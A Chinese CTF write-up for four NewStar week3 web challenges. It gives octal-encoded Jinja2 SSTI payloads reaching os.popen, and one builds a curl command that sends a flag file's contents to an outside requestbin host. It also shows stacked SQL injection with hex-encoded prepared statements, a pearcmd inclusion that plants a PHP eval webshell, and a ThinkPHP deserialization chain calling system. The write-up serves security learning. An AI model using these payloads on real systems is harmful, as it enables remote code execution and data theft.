NewStar week3

BabySSTI_One

name={{7*7}}

成功

点被过滤掉了,那么尝试如下

正常
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`过滤点
url?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

但是class,application也被waf了

C++字符串转八进制

#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{string str="__import__('os').popen('curl http://http.requestbin.buuoj.cn/113fh4a1?a=`cat /f1agggghere`').read()";for(int i=0;i<str.length();i++){int temp=int(str[i]);cout<<"\\"<<oct<<temp;}}

来一个新的,为八进制:

{{a|attr("__init__")|attr("__globals__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")}}

发现globals存在

{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")}}

发现存在eval

{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\47\51\56\162\145\141\144\50\51")}}
成功执行,显示app.py

开始rce

{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('ls /').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\40\57\47\51\56\162\145\141\144\50\51")}}
发现flag_in_here

然后拿flag

{{a|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('cat /flag_in_here ').read()"}}
变为
{{a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\137\151\156\137\150\145\162\145\40\47\51\56\162\145\141\144\50\51")}}flag{cf199c11-24ed-4a69-bac5-40a48c6fea18}

值得注意得是,如果想要检验自己输入得是不是对的,就用下面的脚本来比对,不过网站也有现成工具:

#include <iostream>
#include <map>
#include <vector>
#include <queue>
using namespace std;
int main()
{string str="\137\137\147\145\164\151\164\145\155\137\137";cout<<str;
}

另一个payload:

name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}

奥,点根本没被过滤,笑死。

multiSQL

1、一开始就是搜索框
随便输入1,出现如下,而且也没有成绩

2、闭合

1' or 1=1#

没有过滤空格,不对劲,过滤了select。
点击验证会到达一个verify.php,没有425分没得flag。

3、思路

根据hint,需要通过update注入帮改成绩。但是过滤了select就算了,还把update,insert,union也过滤了,奇怪了,想了想,好像只有堆叠注入会有这么多过滤?
尝试如下:

1';show databases;#

1';show tables;#

有了,就是堆叠注入!没有select,我们还有show,甚至是报错,但是报错也需要select,所以用不到。

尝试:

1';show columns from score;#

4、但是replace可以替代insert进行数据插入

1';replace into score values("火华",200,200,200);#


删除低分

1';delete from score where listen=11;#

成功:


拿到flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

5、另一种做法,由于没有过滤prepare和引号

1';PREPARE st from concat('upd','ate', ' `score set `listen`=300 where `listen`=200');EXECUTE st;#

但是失败了,尝试如下

1';PREPARE st from concat("repl","ace", " into score values('火华',150,200,200)");EXECUTE st;#

也失败了。。。

用十六进制,即可成功

username=1';set @a=update score set listen = 100 where username = '火华';prepare b from @a;execute b;#
转十六进制后
username=1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare b from @a;execute b;#

IncludeTwo

pear文件包含

文件包含成功

在burp中输入如下payload:注意pearcmd不能有.php,因为本身有加个.php

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/2.php

然后访问

http://42139bb1-2cf8-4cfa-9377-f061583d7fef.node4.buuoj.cn:81/?file=/tmp/2post:cmd=phpinfo();

成功rce

拿到flag

Maybe You Have To think More

1、一看就是thinkphp漏洞了

确定是反序列化漏洞,直接拉网上的exp打。

<?php
namespace think;
abstract class Model
{protected $append = [];private $data = [];function __construct(){$this->append = ["lzx"=>["hello","world"]];$this->data = array('lzx'=>new Request());}
}
class Request
{protected $hook = [];protected $filter;protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

但是反序列化点在哪呢,啥都没提示,绝境看cookie。

TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30%3DUrl_decode-------------->TzoxNzoiZmlyc3Rcc2Vjb25kXHVzZXIiOjI6e3M6ODoidXNlcm5hbWUiO3M6Mzoid3FlIjtzOjg6InBhc3N3b3JkIjtOO30=base64_decode---------->O:17:"first\second\user":2:{s:8:"username";s:3:"wqe";s:8:"password";N;}

6,根本没有想到。。。那就直接用上面的exp开打。在env中拿到flag

NewStar week3相关推荐

  1. excel组合汇总_Excel汇总20180322

    excel组合汇总 Spring has finally arrived, so here is a "Goodbye  Winter" Excel Roundup, with a ...

  2. week3 day3 迭代器和生成器

    week3 day3 迭代器和生成器 一. 迭代器 1.1 什么是迭代器? 1.2 为何要使用迭代器? 1.3 如何使用迭代器? 1.4 迭代器例子 1.5 for循环的原理 1.6 迭代器的优缺点 ...

  3. HGame 2023 Week3 部分Writeup

    文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week3-bu-fen-writeup 本周在迎新春,走亲戚(真的很忙),外加题目难度增 ...

  4. BUUCTF NewStarCTF 公开赛赛道Week3 Writeup

    文章目录 WEEK3 MISC Whats HTTP WebShell! qsdz's girlfriend 3 Yesec no drumsticks 3 混沌的图像 WEB BabySSTI_On ...

  5. deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3

    deeplearning.ai课程作业:Recurrent Neural Networks- Course 5 Week3 Part 1 Neural Machine Translation Welc ...

  6. Newstar Ctf 2022| week2 wp

    Newstar Ctf 2022| week2 wp Newstar Ctf 2022第二周题目的wp. 文章目录 Newstar Ctf 2022| week2 wp Crypto unusual_ ...

  7. 纽约大学深度学习PyTorch课程笔记(自用)Week3

    纽约大学深度学习PyTorch课程笔记Week3 Week 3 3.1 神经网络参数变换可视化及卷积的基本概念 3.1.1 神经网络的可视化 3.1.2 参数变换 一个简单的参数变换:权重共享 超网络 ...

  8. Coursera Algorithms week3 快速排序 练习测验: Nuts and bolts

    题目原文: Nuts and bolts. A disorganized carpenter has a mixed pile of n nuts and n bolts. The goal is t ...

  9. Programming Languages PartA Week3学习笔记——SML基本语法第二部分

    文章目录 Building Compound Types Records Tuples as Syntactic Sugar Datatype Bindings Case Expressions Us ...

最新文章

  1. Centos6.4下安装及配置FTP Server
  2. 【JAVA进阶】——myEclipse连接mysql启动数据库服务
  3. 【OS】期末总结复习
  4. Servlet使用适配器模式进行增删改查案例(DeptServiceImpl.java)
  5. 使用JSF 2.0可以更轻松地进行多字段验证
  6. draft.js_如何使用快捷方式在Draft.js中创建有序列表和无序列表
  7. git撤销分支上代码的修改
  8. matlab 动画_MATLAB作图实例:51:表面动画
  9. ARMam3354linux系统开发,ARM板移植Linux系统启动(四)配置Kernel
  10. 黑马程序员————java中面向对象的三大特性
  11. Java代码调用第三方接口发送短信
  12. 将多张小图片合并成一张大图片 Python3
  13. AAEGan 简介与代码实战
  14. ModelsimSE debussy
  15. 京东到家搜索系统架构演进
  16. web浮动框架 简易灯箱画廊设计
  17. 群发微信图文消息,但是正文中的图片却不显示
  18. 操作系统用户接口与计算机接口有什么区别,1.操作系统既是硬件与其他软件的接口,又是用户与计算机之间的接口。...
  19. 唯此间江湖年少,偏爱纵横天下。
  20. 用mp3stego来加密与解密文件的几次尝试

热门文章

  1. 华资软件Java开发实习生——2021届暑期实习生面经(OC)
  2. 华为OD机考——牛客10道练习题(Python版)
  3. mac下的流氓mackeeper
  4. pytorch 笔记:使用Tune 进行调参
  5. JCG无线智能路由器 网络办公时代新需求
  6. 原型设计(第三次作业)
  7. Word2007 怎样从第X页开始设置页码
  8. DAMO-YOLO : A Report on Real-Time Object Detection Design
  9. 生成绩管理系统c语言,学生成绩管理系统——C语言版
  10. pandas数据分析实战之apply函数应用